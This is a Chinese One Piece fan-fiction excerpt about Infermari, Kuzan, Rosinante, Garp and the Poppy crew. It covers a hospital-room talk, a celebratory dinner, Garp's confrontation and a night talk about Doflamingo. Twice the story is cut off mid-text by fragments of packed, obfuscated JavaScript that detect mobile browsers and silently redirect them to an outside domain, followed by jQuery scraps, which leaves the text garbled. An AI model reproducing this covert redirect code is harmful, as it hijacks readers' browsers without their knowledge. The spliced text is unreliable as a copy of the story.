普通的刀,典雅的枪,有点乱来的性子,沉稳的歌。 多弗身边就是这样的人吗?还是多弗去到了这样的人身边呢? 一声叩响后门被推开,高高的身影走了进来,手里拿着一沓纸。 “啊啊..我还是第一次见他这样子呢。” “库赞先生...” 库赞摆摆手,示意他不用行礼,也拉过一个椅子坐到一旁,将手里的资料递给罗西南迪。 “正好碰到要来给你送资料的海兵,顺路带来了。” “啊谢谢。” 罗西南迪接过标着【黑曼巴】的纸张,慢慢地读着。多弗现在在做这件事吗?和这个人一起?...跟自己想象的不太一样。 他红色的双眼又扫过桌上同样鲜红的饰品们。 稍微犹豫后,他开口询问:“你们以前认识?” 库赞将视线从睡着的人身上收回:“啊,算是吧,好多年前的事了。” “他以前什么样子的?” 库赞挠挠头:“就是...你知道吧?嗯对,唉...真麻烦啊。” 以前的茵弗玛利...好像没什么变化,但是变化又很大。嘴里说着不喜欢动脑筋但是脑子永远都在转的家伙。大概疲惫了吧,之前他们两个打得再凶都没有这样昏睡过。 库赞也疲惫了,自从奥哈拉之后,他就一直在疲惫。所以他忽视了罗西南迪的小声抗议,用眼罩遮住医务室里的灯光。 屋子里只剩平静的呼吸声和纸张细小的翻动声,半晌,库赞开口。 “他没有正义。” 罗西南迪:“诶?” 库赞:“他跟我说过,他没有正义。” 罗西南迪目光落回手中的资料上,库赞大概知道他要来这份档案的原因了。 没有正义吗?他想到那盘奇怪的棋,白色的国王棋。 他偏过身准备取一支笔—— “白痴吗您...您的火苗不是被您送到我身边了吗?熄灭个什么劲啊...” 哐当—— 罗西南迪摔在了地上。 库赞没在意这个笨手笨脚的家伙,抬起眼罩,看到茵弗玛利对着医务室里有些亮的灯光皱鼻子。 “啊啦啦,真不想被一个没有正义的人指责我的正义,我现在已经是''懒洋洋的正义''了。” “啊,我懂,不推不动的等待。” 库赞啧了一声盖上眼罩,他都快忘了和这家伙说话是什么感觉了,这种...算了、听他意思妮可·罗宾听到自己的话了,那就行了。 茵弗没管他,揉着脑袋坐了起来,正好看到罗西南迪爬起来一边拍掉身上的尘土一边坐下——然后又摔倒一次。 “噗,可爱。” 罗西南迪手忙脚乱地再次爬起坐下,脸红道:“不不不我从小就这样笨拙真的是...你醒了啊...感觉好些了吗?” 茵弗在自己身上按了几下点点头,“放心,我很抗揍的,而且泽法先生没有用全力。”他取过罗西南迪在摔倒时掉在床边的纸翻看。 罗西南迪:“!!!” 茵弗发出一声思考的声音,海军是这样看黑曼巴的吗?嗯...还行吧。 罗西南迪:“抱歉,我、” 茵弗玛利摆摆手:“不必,先生。” 罗西南迪抬眼看向库赞,发现对方没什么反应后松了一口气。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14948344|154812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “嗯,我以为多弗会更...” “坏事做尽?” 虽然这样想自己的哥哥不太好,但是他了解多弗,或者,他觉得自己是了解他的。现在好像...又不太了解了。 罗西南迪挠了挠脸。 茵弗:“您哥哥不是个好人,先生,但是我借给他【茵弗玛利】是有条件的。现在看来,成果还行。” 罗西南迪反应过来虽然是自己在打探,但是也无意间给他看了海军的情报文件,于是刷地一下夺了回来。 茵弗勾勾嘴角,示意对方坐下,做了一个从脑袋里掏东西然后丢掉的手势。 他转向假寐的库赞,拍了一下他放到自己床上的腿。 “我当时挺担心您的,只不过走不开,现在看您这样子,果然担心还是对的。” 库赞:“啊啦啦,真是荣幸,不过你刚刚还骂我白痴来着。” 茵弗:“失礼了。” 库赞:“现在才说有什么用啊?” 罗西南迪听他们之间拌嘴,也放松下来,不过还没喘匀一口气,就差点又从椅子上翻下来。 “话说您去看看罗宾不?她就在波比上呢。” “喂喂喂不要把妮可·罗宾这种通缉犯的名字在海军总部说出来啊。” “倒是说了全名的您更过分吧。” 罗西南迪咽了口口水:“恶魔之子?” 茵弗看向他:“她没有选择这个名字,请您收回,她的妈妈很爱她。” 罗西南迪下意识地瑟缩。 也对...恶魔、垃圾、人渣、好像也有人这么骂过他,骂过多弗。他们不叫他罗西南迪,高举着火把和棍棒,他们叫他''天龙人''。 恶魔、不、妮可·罗宾被通缉是...八岁? 她也因为自己的名字去翻垃圾了吗? “抱歉...你说得对...”他下头,有些难过地抓着自己的头发,“她只是个孩子。” 知错能改就好,不像他哥哥一样还得上手揍一顿。茵弗把他的反应在嘴里轱辘了一圈,没轱辘明白,只能咂一下嘴。 “嘛,要不您也和库赞先生一起去看看那孩子吧?” 库赞:“喂我还没答应吧。” 茵弗拍了一下他的大腿,从床上翻下来,取过桌上的首饰戴上,“难道您会不同意?”,他歪头戴耳饰,顺便看向他,“别逼我贿赂您。” 库赞笑了一声:“你要怎么贿赂啊。” 茵弗啧啧道:“您看吧,我就说我得担心您,以前您可乖了。” 他光脚在地板上踩了两下,冰冰凉凉的瓷砖,没意思。 “走吧,请您喝杯奶昔。罗西南迪先生要吗?” 罗西南迪:“啊我——” - “不要———!” “我也很心痛啊小厨子可是不行!人家可是海军少校!” “我的胡萝卜芹菜芒果奶昔——!” 波比的厨房今天也很鸡飞狗跳。 大概皮肤白就是这一点不好,脸红脸绿真的都很明显。 不过让他不适的不止是那杯差点就让他去见父母的奶昔,还有...他斜对面坐着喝酒的是冥王雷利吧??海贼王船上那个?和他说话的乙姬王妃倒是见过的,那个大红鱼人没见过...乙姬王妃为什么在跟海贼王副手聊商业...不过边上挠着头顶菠萝叶子看书的,是白胡子海贼团的不死鸟马尔科吧?——他的奶昔看起来好正常!羡慕... 在海军总部门口诶...这样真的没问题吗?库赞是不是太冷静了一点... 库赞的确没在意旁边快要紧张地跳出去的罗西南迪,一脸平淡地咽下杯子里颜色诡异的东西。 既然罗宾亲手交给他让他喝的话,茵弗玛利还默许了,嘛大概就是报复吧。 不过,萨乌罗还活着吗?太好了啊...如果那位他曾经的巨人好友也...那大概罗宾真的不会原谅自己了,毕竟那时他就真的是杀了她当时唯一的朋友的人了,不管他是不是放走了她。她看起来过得还不错。 近日的疲惫好像远去了不少,恶心的味道让他的胃都在蜷缩,不过也许吐过之后他又能挺直一点脊梁。 茵弗重新端了一杯香蕉苹果奶昔给罗西南迪,然后在库赞真的喝下去那杯比''胡萝卜芹菜芒果''还要可怕的东西之后给他倒了一杯雪利酒。 “我记得您喜欢来着?” “啊,谢啦,不过我想先去呕吐一下。” “男卫生间走廊尽头左手边。” 库赞离开后,茵弗抱起顿时长出一口气的罗宾。 “怎么样,小知更鸟?还好吗?” 罗宾埋在他身上点了点头。 他摸着她直直的黑发,在上面亲了一下。 “您真厉害,我要向您学习的东西还很多呢。” 罗宾:“...他当时说,如果我要毁灭世界,他会亲手来杀了我。” 茵弗笑笑:“您不是差点也用奶昔杀了他吗?” 在小孩子咯咯笑了两声之后,茵弗问她,“您想毁灭世界吗?” 罗宾摇头:“我想研究历史、吃萨奇的蛋糕、和你旅行...” 茵弗:“即使这个世界毁灭了您的家乡?” 罗宾:“...嗯。妈妈会为、我是她的女儿骄傲吗?” 茵弗抽出纸巾递给开始哭的萨奇和乙姬,又亲亲她的头。 “我相信她一直都以你为荣,小知更鸟。” 他将罗宾递给哭得脸花花伸手要孩子的人鱼妈妈,又举起萨奇。 “小厨子,怎么您也哭呀。” 萨奇:“呜哇——罗宾!” 茵弗:“呜哇——小萨奇!” 萨奇一下子就噎住了:“诶?” 茵弗:“...?” 萨奇:“再、再叫一次?” 茵弗:“萨奇小先生?” 萨奇:“呜哇———!” 好好好,马尔科我看到你在笑了,假装看书也没用,停在那页好半天了! 茵弗把手里的哭包丢给他,冷酷地说:“我去忙了,先生们,马尔科先生记得我今晚回来考您第三到二十章的内容。” 马尔科:“你不是说学五章吗yoi!” 茵弗玛利:“我改主意了。” 他端着那杯雪利酒,对着一直沉默的罗西南迪招招手走出门外——库赞在外面站了好久了。 罗西南迪点了根烟,他觉得他需要一根。 她...他们...就是小孩子啊,无比坚强的孩子。 学生就是学生,也会为了过于任性的老师和考试烦恼。海贼王的副手随意地喝酒和王妃说话,就像个邻家叔叔一样... 茵弗玛利很、温暖?和在战国先生办公室里,训练场上真的一点都不一样。 金色的头发,温柔的吻。 他深吸一口尼古丁。 母亲,你也为现在的我骄傲吗? ... “罗西南迪先生,肩上着火了。” “哇——!” 怎么做到的?可以吸烟把自己点着什么的...而且很久都没意识到,要不是看要烧到脸上了茵弗还在算他什么时候能反应过来呢。 真有趣。 他在靠着门边坐着的库赞身旁蹲下,递给他那杯雪利酒。 “喏,贿赂。” 库赞好笑地摇摇头,接过来喝了一口。 “泽法老师也很喜欢雪利酒...昨天,谢了啊。” 他听到训练场昨天的动静了,不如说很多将领都听到了,枪鸣后,带着悲切的军歌。 他不知道发生了什么,不过泽法老师看起来、好了一些。然后就是被送到医务室打止痛剂的茵弗玛利。 “诶...怪不好意思的,我当时其实有点肾上腺素占据行动的感觉。”茵弗挠挠脸,“您不必谢我。” 罗西南迪也在他身旁蹲下,仍然很高,如果茵弗靠靠就能贴在他腿上。 “您们的正义,很沉重啊。” 库赞:“啊,没有正义的人在炫耀?” 茵弗:“也许吧。” 库赞:“稍微有点麻烦...不过,感受到点余温一样的东西了呢。” 茵弗:“是吗?没有熄灭啊。” 默默听着的罗西南迪吹出一口烟。 茵弗玛利不会只对着某一人伸手吗?多弗就是握住了这只手?库赞同样握住的这只? 茵弗听到他的话笑了一声:“哈,我们第一次见面,我卸了他的手呢。” 罗西南迪也笑了,软绵绵,傻兮兮的,一点都不像多弗朗明哥。 “这样吗?” 53.柳枝一样的人 “吃或者卖掉都可以。” 不、所以说你不要学这种东西... 茵弗有点无语,看鹤笑眯眯地感谢萨奇准备晚餐,说她一定会好好吃完的。 “吃或者卖掉都可以。” 不、你还要每个人说一遍啊... 卡普哇哈哈哈哈的笑说那老夫能卖多少钱啊!萨奇严肃回答五万贝利。 一份咖喱卖五万贝利也是...学到你老师我的精髓了啊... “吃或者卖掉都可以。” 好,轮到你了库赞先生让我看看你的回答吧,火焰是否还能燃烧呢?什么啊什么叫比起鸡肉咖喱还是更喜欢海鲜,跟我学生说什么呢你去泡在海里吃海鲜吧大冰块。 “吃或者、” 我受够了。 茵弗一把捞过萨奇。 “好了!他们都会吃的!小厨子快去坐好吧,剩下的老师我来端!” 今天是为了庆祝乙姬王妃在海军总部的演讲顺利,也是庆祝茵弗正式和海军合作后的晚宴。 萨卡斯基没来,库赞说他就是工作狂啦什么的,不过茵弗觉得那个戴蔷薇的人就是不喜欢他这个''不正义''的家伙吧。 没关系,他不讨厌信念坚定的人。 总之是在战国家用茵弗的药膳食谱做了咖喱,说是庆祝其实也有后续安排的意味在。 茵弗给泽法、战国、罗西南迪和波鲁萨利诺端上咖喱后,给自己也盛了一份,坐到罗西南迪和萨奇之间。 “唔,确实有一种独特的香气呢。” “啊是的,因为咖喱块是自己用草药和香料配的,会独特一点。大家平时用的很多香料其实也是药材呢,所以可以不同配伍的方式很多。” 萨奇挺直腰板:“我帮忙了!” 茵弗听他叽里呱啦地解释笑笑,在米饭上裹上浓稠的汤汁后放到嘴里。 嗯...不愧是我,要不以后也生产这种咖喱块去卖吧?反正提供给海军的是食谱...跟他卖咖喱块成品有什么关系... “老夫吃起来感觉比食堂的鸡肉咖喱好吃呢!” “啊,其实用了鸡腿肉也有关系,比起鸡胸肉人的满足感会强,这样用料就可以减少,配上合适的蔬菜数量就可以增多,满足又补充营养。” 嗯鸡腿肉果然是他仅次于鱼肉最喜欢的了,怎么不算一种私心呢。茵弗咬着弹牙的肉块点了点头。 “除了小厨师之外,茵弗医生还有一个学医的学生吧?” “两个,鹤女士。有一位现在跟着我,不过是海贼,我觉得还是不要领来见面的好。” 罗西南迪流下一滴冷汗,白胡子海贼团的马尔科是能领来海军总部的?现在放在门口已经很...而且还有冥王雷利...自己不知不觉就也没有想着报告给元帅这回事了... 他也不太想。为什么他不太想? 战国轻咳了一声,虽然知道他''中立''了但是这么说还是...还好萨卡斯基不在。 “既然如此,海军是否也可以成为你的学生?” 茵弗咀嚼停下了。嗯...可能有点困难。一个电话虫就能把他整个波比端咯。 “我不建议,战国先生,我不适合大批量教学生。军医所服务的对象具有特殊性,尤其是外科,如果您们需要,我引荐新白城的医生。您们可以组织安排一批医生去进修。” 战国点点头,新白色城镇的事情现在也人人皆知。与其说是城镇,不如说是以杰尔玛为起点,那些本来就负有盛名的医生们分散到各个地方,戴着新白城的名号而已。 “你要和乙姬王妃后天一起离开吗?” 茵弗嗯了一声,还没开口却被卡普打断了。 “喂,小子!你在这儿留几个月吧,跟着泽法老小子好好学学!” 泽法倒是比他先惊讶,不过那天训练场上的事情,确实让他感激这位有潜力的年轻人。所以他也应了下来,表示他本来就是教官,看到好苗子也很愉悦。 嗯...这可怎么办。波比那边不可能让他们一直呆在这里等他。找什么理由呢? 茵弗放下餐具,有些苦恼地皱眉,抬头想拒绝时对上卡普格外认真的神色。 发生什么事...? “总之,拜托您先带着孩子们去东海找露玖他们,然后让波比上的人手运大量的灰中产品回来当借口,要不然我留在这里,波比离开太引人怀疑了。” 雷利叹了口气,点了点头。 “你小心一点。” 茵弗:“没事的,我会去找卡普先生谈谈,当时没办法仔细说,他好像有一定想让我留下的理由。” 他转向有些担心的马尔科,“放心,先生,我会给您布置好您学习的任务,离开海军视线范围后您可以先回家。”他顿了一下,将萨奇叫过来询问,“这几个月的时间,您想去莫比迪克上做客吗?去看胡子老爹?” 萨奇下意识激动了一下,又皱起脸,垂垂的眼角和伤疤都写着纠结。 马尔科:“来吧yoi,比斯塔他们肯定也想你呢。到时候我们再一起回来。” 萨奇:“可是罗宾...” 罗宾凑过来:“没关系的,茵弗说东海也会有弟弟陪着我的,你想去就去吧。” 茵弗摸摸她的头:“不要用能力偷听啦,想听就过来说嘛。” 他揉揉鼻梁,又拉住兴奋的萨奇,雷利看到这个熟悉的动作无奈地笑了一下。 “我会给您几份食谱,做给胡子老爹吃好吗?顺便练习,您也有学习任务的。” 他又转向马尔科:“啊,海军那边有人说很喜欢红十生产的护肤品,乙姬王妃那里应该还有一点,麻烦您带给以藏阁下。” 雷利:“泰格呢?” 茵弗:“乙姬王妃离开后他会回来,跟着您们去东海。那边更没见过鱼人族了,麻烦您多照看一下。至少这次王妃的外交很成功,报纸大概两三天后就发出去了。” 因为要避开视线,茵弗当晚就跟他们道别,直接搬到马林福德住宿区的卡普家里。然后被他拉到刚修缮一半的训练场。 “你小子,怎么回事?” “?您要我留下是让我修打坏的场地的吗?我...” 卡普摇头,严肃地指指那些暴力破坏的痕迹。 “老夫熟悉泽法,这基本都是你干的吧?你怎么了?” 茵弗有些迷茫,我怎么了? “还有今天晚饭,曾经的你可不会那么没耐心地打断宝贝着的小子,你在暴躁什么?” 暴躁? “再就是弗雷凡斯的事情。老夫就不信杰尔玛把你从白城带走了,过几个月国王突然就得铂铅病了?你干的吧,那场战争。” 哦。 茵弗突然感到窒息。 他怎么了?从什么时候开始不对劲的?亨姆岛,杰尔玛,弗雷凡斯,还要早? 巴苔里拉,香波地,红帆船? 巴/雷特的声音,龙的声音,那些吵闹的,哭泣的,安静的突然全混在一起狠狠砸向他的头。 他捂住脑袋,因巨大的喧闹声而反胃。 “...您想让我做什么?我不知道如何能用别的方法让白城脱离弗雷凡斯。” 卡普叹了口气:“老夫知道巴/雷特去我儿子那边了,他不是跟着你的吗?” 茵弗:“...他在变好,先生,他在治好自己。” 卡普:“但是你快要变成他从前的样子了。” 他顺着卡普的手指看向破裂的土地,破坏的,暴力的,脆弱的,乙姬鲜红的嘴唇一开一合——布满皲裂的瓷器。 他几欲呕吐,明明晚餐是鸡肉咖喱,鼻腔却充斥着腐烂的鱼腥。 “我不知道我在做什么,可是我在努力...” 卡普:“努力干嘛?确保你的那群孩子们,学生们能好好活到长大,没有你也能活下去,然后自己无所谓去死?就像罗格镇之前?” ''这是你的梦想吗?'' 茵弗突然抬起头,眼神凶狠地盯着比他高大的海军英雄,耳饰闪过猩红的血色。 他向对方迈进一步,坚定的,凶狠的,好像他应该更加高大,好像他的那把普通的佩刀应该是一把无上大快刀,好像他应该是黑发。 他一把拽住他的衣服,将其拉下来对上自己的视线。 “这世界太吵了,卡普,吵的我头痛。” “我会看到我想看的,直到我或者这该死的命运,总有一个先走到终点。” 卡普:“你不是罗杰。” 茵弗:“我当然不是,他死了。” “我是茵弗玛利。” 恐惧催生的是... “...你不对劲,小子。” 茵弗咧嘴:“....救救我?” 卡普狠狠一拳把他捶在地上,新的裂痕盖住了那些皲裂。 “跟着泽法学''柔''吧,你现在的霸气太暴躁了。” 茵弗无所谓地抹去嘴角的鲜血,检查了一下自己的肋骨。 “啊,毕竟【巴/雷特】是我的第一个老师。” - 罗西南迪不明白,本来都已经好好的茵弗玛利怎么又躺到医务室里去了。 虽然他自己就是个很好的医生,不过卡普先生说他医者不自医。还是结实地在医务室呆了一周多。 他是少校,但是因为间谍训练也一直没有离开马林福德,元帅也安排他多与他接触。等茵弗搬到卡普先生家——战国先生的隔壁,他们早上就会一起去总部,各自训练,然后一起去食堂,有时遇到的话会和库赞坐一桌,或者茵弗会带上名叫斯摩格和缇娜的年轻后辈。 “海军生活真辛苦啊——” 罗西南迪晃晃脑袋:“医生也很辛苦吧,要学很多知识。” 今天的午饭是海鲜炒饭,他发现茵弗玛利把扇贝挑着吃了。然后把吃不完的饭一会儿一勺的放到他和库赞的盘子里。 难怪自己的饭越吃越多。 他挑出自己的扇贝放到对方已经基本空了的盘子里,换来一个大拇指。 库赞:“今天斯摩格怎么没跟着,刺头又被老师罚了?” 茵弗喝了口蔬菜汤——不愧是他,恰到好处的营养简直一下子就能尝出来嘛。 “我也不和他们一起,就是单独在旁边做我的锻炼,然后等他们跑圈什么的泽法先生来指点我,所以没太注意,也许?” 不过即使他怎么不参与,他也能看出来海兵训练真的很辛苦。大多数人都是普通人,有天赋的佼佼者毕竟是少数。他刚上杰克逊号那会儿,香克斯和巴基练实战的时候也是自己在旁边绕着甲板跑圈,一遍遍出拳,挥刀。 自己已经足够好运,有能力的帮助,还有顶级的强者做基本就是一对一的老师。 那些用血与汗磨练自己的大多数,有多少能成为保护他人的少数呢? “您们已经是正式的海军了,空闲时间还可以去街上转转,新兵们的行程好严格啊,还有宵禁什么的。” 茵弗放下餐具,用纸巾擦嘴等他们吃完。 库赞:“唔...其实可以溜出去...但是被抓就等着挨罚吧。” 茵弗:“您被抓过吗?” 库赞:“我可是好学生。” 茵弗:“那就是被抓过啊。” 很青春呢,和伙伴一起无视规则去做一些想做的事,即使只是溜到街上吃一份夜宵。有着挨罚的风险反而增添了刺激,让人更想要去做。肾上腺素与某种年轻的浪漫混在一起,在多年后也可以拿出来回味。 三人起身去送餐盘,并排走出食堂,默契抬脚向街上走去,反正离午休结束还有段时间。 毕竟是海军基地,街道不大,马林福德也只有这一片有点不那么肃穆的气息。简单的商铺,饭店。能看到几个椅背上搭着正义披风的人在吃午饭。组成行人的大部分都是海兵,还有军眷们。 他们在之前茵弗和罗西南迪去过的咖啡厅坐下,不过这次是坐在外面的花园椅上,头顶支着带条纹的花伞。茵弗点了一份冰激凌芭菲三个人分着吃,毕竟刚吃完饭大家都没什么胃口。 他往嘴里放了一块蜜瓜,玩着自己的那枚金币,托着脸看街上的行人。 今天天气还行,不少的妈妈都领着孩子们出来逛街晒太阳。也有年轻的恋人们趁着午休挽着胳膊闲逛,或者一起用餐。 “不怎么在街上看到泽法先生呢,是容易触景生情吗?不过他们当时没住在居民区吧。” 库赞摇摇头表示不知道,他加入的时候这件事情早就发生了,泽法也已经当了教官。 罗西南迪从小在战国身边长大,倒是熟悉一些:“啊...住了的,毕竟是大将。” 茵弗却皱了皱眉,住在海军总部里被海贼报复杀害?在大航海时代之前? 有什么在他脑海里一闪而过,从指尖溜走,只留下一点违和。 罗西南迪:“就是出了这样的事情,居民区现在警戒得很严。” 茵弗在指节上转着金币,目光仍然放在对街的一顿母子身上,妈妈的笑容灿烂,轻轻擦去儿子嘴角的一点饭粒,好像在轻轻训斥他不要玩食物。 “那伙海贼很厉害吗?” 库赞挠挠头:“不算吧?都没什么人知道名字,我当时问前辈们也不知道。” “泽法先生的''不杀''也不是放海贼走吧?他们是从监狱里逃出来了?” 能让泽法出动的海贼应该不会是什么小海贼,就像卡普和罗杰,白胡子和战国。就算是早年间抓捕的,既能从监狱里逃出来,又有能到海军总部杀人的实力,会是无名之辈? 罗西南迪也放下勺子扭起眉头,半杯巴菲在三人间慢慢融化。 “...不知道?只知道是来报复泽法先生的,那伙人后来被抓住...然后就不清楚了,战国先生也没有吐露过。” 如果是为了以此为戒,甚至加强了居民区的境界,以海军的''话语权''不应该更向全世界警告这样做的后果吗?战国没有吐露...他也不清楚,还是有别的原因? “泽法先生当时是什么反应,除了悲痛?” 库赞:“好像是要辞职来着,但是被政府挽留,所以当老师了。” 既然都让他们差点失去一名大将,为什么这件事就这样不明不白的了解了?他们明明是看重泽法的不是吗,挽留他,让他当总教官。却如此忽视他的悲痛,任由柳枝弯折。看重...却不重视? 茵弗咔哒一声放下硬币,盯着缺了的那一角。他好像想明白了什么,但是又没想明白,黑乎乎的沙堪堪停在指缝间。 他摸了摸口袋——没有糖了。 “啧、” 库赞呼地往他脸上吹了一股寒气:“啊啦啦,怎么突然这么烦躁。” 茵弗揉了一把被他弄得冰凉的鼻尖,拿起勺子挖起半融化的冰激凌,压下熟悉的灼烧感。 “不知道,头疼。” 他咬着勺子,观察了一下库赞和语气不符的严肃神色,还有罗西南迪仍然皱眉沉思的样子,轻轻把勺子在玻璃杯上敲了一下,让他们回神。 “卡普先生让我去跟泽法先生学习霸气...但是...也许他担心的不只是我...?” 面对他们疑惑,他学着乙姬的样子比划了一下柳枝弯折的样子。 “先生们,一根柳枝被弯折会发生什么?” 库赞摸摸下巴:“唔...柳枝吗?因为韧性的话,会一直弯曲下去到折断吧?” 罗西南迪却摇摇头:“会弹回去吧,连着被施加的力一起。” 茵弗点点头:“都有可能,我担心折断,但是也担心反弹。” 一根弹回去的柳条,一瞬间的爆发与痛苦,可以算是鞭子了。 罗西南迪:“你觉得...泽法先生就像是被弯曲的柳枝?” 茵弗捡起自己的硬币弹:“不、是乙姬王妃如此形容,她听到了他内心的声音。” 库赞:“...你想怎么办。” 正面、 “我不知道。” 反面。 “不过我打算今晚叫上斯摩格先生和缇娜小姐,溜到街上吃夜宵。” 罗西南迪:“???” 茵弗看向他:“啊,您要一起吗?” 罗西南迪:“算了吧...我可是跟海军元帅住在一起啊...” 库赞也摆摆手:“别看我,我要睡觉。” 罗西南迪确实没有跟着去,但是他也没睡觉。感觉每次和茵弗玛利相处,他都会在晚上躺在床上翻来覆去的咀嚼一遍。 他现在和斯摩格他们吃什么呢?街上的话,烧烤晚上比较多吧?他会被泽法老师抓住吗?现在在挨罚吗? 躺在大床上的人胡思乱想着,思绪在越来越近的睡梦中化成一滩色彩。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14951892|154812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >这么一想好像自己真的没有在新兵时期溜出去过,毕竟大家都知道他是战国的养子,他也不想让收留照顾自己的恩人失望。 话说自己已经不是新兵了,也没有宵禁这一说法,所以下次要是被邀请的话,要不要跟着去呢? 如果被抓...不、只要不带有宵禁的新兵就没人会抓,叫上库赞... 不对那也不是溜出去了吧?就是三个人一起晚上去吃夜宵... 自己不知不觉和库赞也熟悉很多,虽然认识很久了,但是一直没什么太多的交流... 迷糊间他大概睡着了,半梦半醒地飘浮在虚空中,直到几声轻响打破了他的浅眠。 叩叩叩、 窗户? 罗西南迪睁开眼,看到窗沿上扒着个金色脑袋,脸贴在玻璃上往里看,因为背对月光看不太清楚神色。 ???好恐怖。 差点在地板上滑倒后,拉起窗户放人进来,“你怎么来了?”罗西南迪压低声音,夸张地指向床头柜上的闹钟,时针歪歪地快要走向二。 茵弗认真点头,微微鞠躬,用很大声的气音说:“打扰了!Silent来一个吧!” 哦对他有果实能力,为什么要压低声音讲话。拍拍手,罗西南迪有些无语地看茵弗很有礼貌地把沾着泥巴的鞋子脱掉放在窗边,拍拍身上的露水后拎着一个袋子走到桌边坐下。 “卡普先生把门锁了,我进不去。我忘记告诉他我今天晚上要出去了。” 原来如此... “没关系,那你就在这边睡吧。客房大概...” 茵弗摇摇头,“不着急”,然后指指放在桌子上的袋子,“吃夜宵吗?烧烤和卷饼。” 果然是烧烤。唔...虽然不是溜出去但是这种感觉好像也还不赖?罗西南迪在桌边坐下,看茵弗玛利把烧烤从签子上分下来卷到饼里后递给他。不算热乎了,但是不凉。 “没被抓吗?”他声音有点嘟囔。 “没,我跟泽法先生申请带他们出去了,啊,别跟他们说啊,翻墙的时候他俩还挺兴奋的。” ? “我可不想让他们大半夜因为我跑圈,明天还要早起训练呢。” 什么啊...乱七八糟的温柔。 茵弗带回来的夜宵也不多,面前的大家伙几口就吃完了,举着油乎乎的手发呆,不知道在想什么。他也没打扰他,伸了个懒腰后趴在桌上等他回神。 “泽法先生...很温柔呢。”他嘟囔着,回想着紫发男人在听到他的请求后有些无奈地纠结一会儿,温和地说了一句下不为例。 ...该拒绝就拒绝,该生气就生气嘛。也不怕他带坏他的学生。 罗西南迪:“嗯?嗯,是,我小时候也很照顾,我很敬爱他。” “是吗?您和多弗朗明哥先生真的很不一样呢。您们之前是谁照顾?后来走散了吗?” 罗西南迪愣了一下:“父母之后...就是那些...他的''家族''吧?” 茵弗疑惑地嗯了一声,“那些乱七八糟的怪家伙?” 也许是夜晚吧,也许是罗西南迪仍然没有告诉元帅自己那天在波比上看到了什么,而他仍然不清楚原因。他慢慢地开口,把那些深埋的,苦涩的饥饿,暴徒的发泄,那声枪响,父亲的泪,全都告诉了身旁的青年。 “我们没有走散......” 夜深了,穿着睡衣的罗西南迪感到一阵寒冷,他不确定是因为夜晚的寒气还是因为记忆里那座风雨飘摇,永远也抵挡不住湿冷的小屋。 指针走到三,身旁的人没有打断过他,很认真地在听,咬着自己的手。 他将对方的指甲从薄薄的唇里解放出来,不太在意茵弗玛利开始玩他的手指。 “然后...我就遇到战国先生了,他收留了我。” 罗西南迪听到嗯的一声,好像在等他说下去,但是他没什么好说的了。他和多弗短暂的交叉点就是这样,然后他们越行越远。也许总有一天两个对立的兄弟会再一次站在彼此眼前。不是一方将其拉出泥潭,就是另一方将其从自己的人生中彻底割裂。 罗西南迪打了个哆嗦,明明已经是春天了,却让他感觉像深冬一样。茵弗玛利还光着脚,他拉起对方走到床边坐下,然后拢了拢厚厚的被子。 游医任由他动作,仍然玩着他的手,没有开口。罗西南迪清了清嗓子后说道:“所以,读了黑曼巴的资料之后我还挺...意外?” 茵弗点点头,他与深红的虹膜对视,“如果他需要,您会去到他的身边吗?” 诶? 罗西南迪:“需要我?” 茵弗掰起手指:“那些小混混给了他新的选择,继续让自己和弟弟在人人喊打的挣扎中求生,还是拿起那把枪。” 他不是个好人,天龙人那污浊的圣地浇灌的一朵恶之花,瞬间移栽到下界后失去一切的不适,痛苦,只助长了他的愤怒。现实没有时间给他成长,能帮助他的母亲已经病死,他恨保护不了家人的父亲。 “为什么一群混混要拥一个小孩子为王?就因为他有霸王色霸气?在一个痛苦的,迷茫的,绝望地恨着一切的孩子面前如圣人一般出现,线线果实,他们到底谁是谁的傀儡?” 紧紧捏住他深埋的执念,恶人驱使恶人。属下不像属下,家族不像家族。多弗朗明哥居然那么小就开始吸烟?他真的明白吸烟的目的吗?还是没有多少钱也要别着那把杀了自己父亲的枪,叼着烟手插兜走上街给所有人看?踩着身后那些恶徒在他身前投下的阴影,找回高高在上的感觉? “他曾想带着您回圣地是吗?唯一的,真正的家人?” 罗西南迪双手颤抖着:“我、我从多弗身边、逃跑了。留他一个人。” 茵弗紧紧握着他的手,止住颤抖,就像多弗朗明哥曾经做过的一样。 “没有人责怪您,先生,您也是个孩子。如果是我,我也会选择离开让我恐惧的东西。” 是了,他害怕他的哥哥。 罗西南迪是温柔的,他不能理解多弗朗明哥的恨。多弗朗明哥是尖锐的,他不能理解罗西南迪的柔软。 他也曾想保护他吗?就像那些失去感情的孩子们,以本能的方式去保护他们更加柔软的兄弟? 他也想保护他吗?让他离开那些黑暗,不要坠得太深,被其吞噬。 茵弗看了看手上的牙印,你想要什么,讨厌背叛的多弗朗明哥?安全感么。 罗西南迪垂着眼:“他会需要我吗?” 茵弗:“也许。我不太懂他。” 罗西南迪:“我还...来得及吗?” 摇摇欲坠,只剩下几根纤维拉扯着的兄弟啊。 茵弗松开了他的手,他已经不再颤抖了。 “也许。我想我无意间为您争取了时间。” 罗西南迪点头,深吸了一口气。 “我、我会跟战国先生谈谈。” 茵弗嗯了一声,有点好奇地问:“您不会要脱离海军吧?” 罗西南迪看他向后窝在自己厚厚的被子里露出一点笑,“不,我喜欢当海军。”他挠了挠头,“嗯...我在做间谍训练嘛。也许可以... ” 